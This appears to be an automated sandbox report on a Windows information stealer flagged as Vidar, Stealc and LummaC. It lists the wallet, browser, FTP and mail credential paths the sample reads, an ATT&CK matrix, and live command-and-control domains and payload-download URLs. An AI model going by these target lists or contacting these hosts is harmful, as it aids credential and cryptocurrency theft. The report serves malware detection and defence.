(Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1700, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.IIJKJDAFHJ.exe.3f55570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.IIJKJDAFHJ.exe.3f55570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2320759817.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.37e5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.37e5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1700, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F0C40 sqlite3_bind_zeroblob,	2_2_6C2F0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F0D60 sqlite3_bind_parameter_name,	2_2_6C2F0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C218EA0 sqlite3_clear_bindings,	2_2_6C218EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\GDBFCGIIIJ.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\IIJKJDAFHJ.exe	42%	ReversingLabs	Win32.Trojan.Stealc
C:\ProgramData\KJEGDBKFIJ.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userAFIDGDBGCA.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\userBAAAAKJKJE.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc301a31_swws[1].exe	42%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc9963ca_ldfsna[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfccd837ac_vadggdsa[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfcc9963ca_ldfsna[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfccd837ac_vadggdsa[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
treatynreit.site	1%	Virustotal	Browse
snarlypagowo.site	1%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
questionsmw.store	1%	Virustotal	Browse
mysterisop.site	1%	Virustotal	Browse
cowod.hopto.org	2%	Virustotal	Browse
abnomalrkmu.site	1%	Virustotal	Browse
chorusarorp.site	1%	Virustotal	Browse
gravvitywio.store	8%	Virustotal	Browse
soldiefieop.site	1%	Virustotal	Browse
absorptioniw.site	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
http://www.entrust.net/rpa03	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://store.steampowered.com/mobile	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
treatynreit.site	172.67.184.196	true	true	1%, Virustotal, Browse	unknown
snarlypagowo.site	104.21.18.193	true	true	1%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
questionsmw.store	104.21.77.132	true	true	1%, Virustotal, Browse	unknown
mysterisop.site	104.21.21.3	true	true	1%, Virustotal, Browse	unknown
absorptioniw.site	104.21.17.174	true	true	1%, Virustotal, Browse	unknown
abnomalrkmu.site	172.67.152.190	true	true	1%, Virustotal, Browse	unknown
cowod.hopto.org	45.132.206.251	true	true	2%, Virustotal, Browse	unknown
gravvitywio.store	104.21.16.12	true	true	8%, Virustotal, Browse	unknown
soldiefieop.site	188.114.97.3	true	true	1%, Virustotal, Browse	unknown
chorusarorp.site	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://49.12.197.9/	true		unknown
https://abnomalrkmu.site/api	true		unknown
https://soldiefieop.site/api	true		unknown
https://49.12.197.9/sqlp.dll	true		unknown
https://49.12.197.9/softokn3.dll	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
questionsmw.stor	true		unknown
https://49.12.197.9/vcruntime140.dll	true		unknown
https://49.12.197.9/nss3.dll	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
https://gravvitywio.store/api	true		unknown
snarlypagowo.site	true		unknown
chorusarorp.site	true		unknown
https://49.12.197.9/msvcp140.dll	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown
http://147.45.44.104/prog/66fbfcc301a31_swws.exe	false		unknown
https://questionsmw.store/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869L	RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exerm-data;	RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp	false		unknown
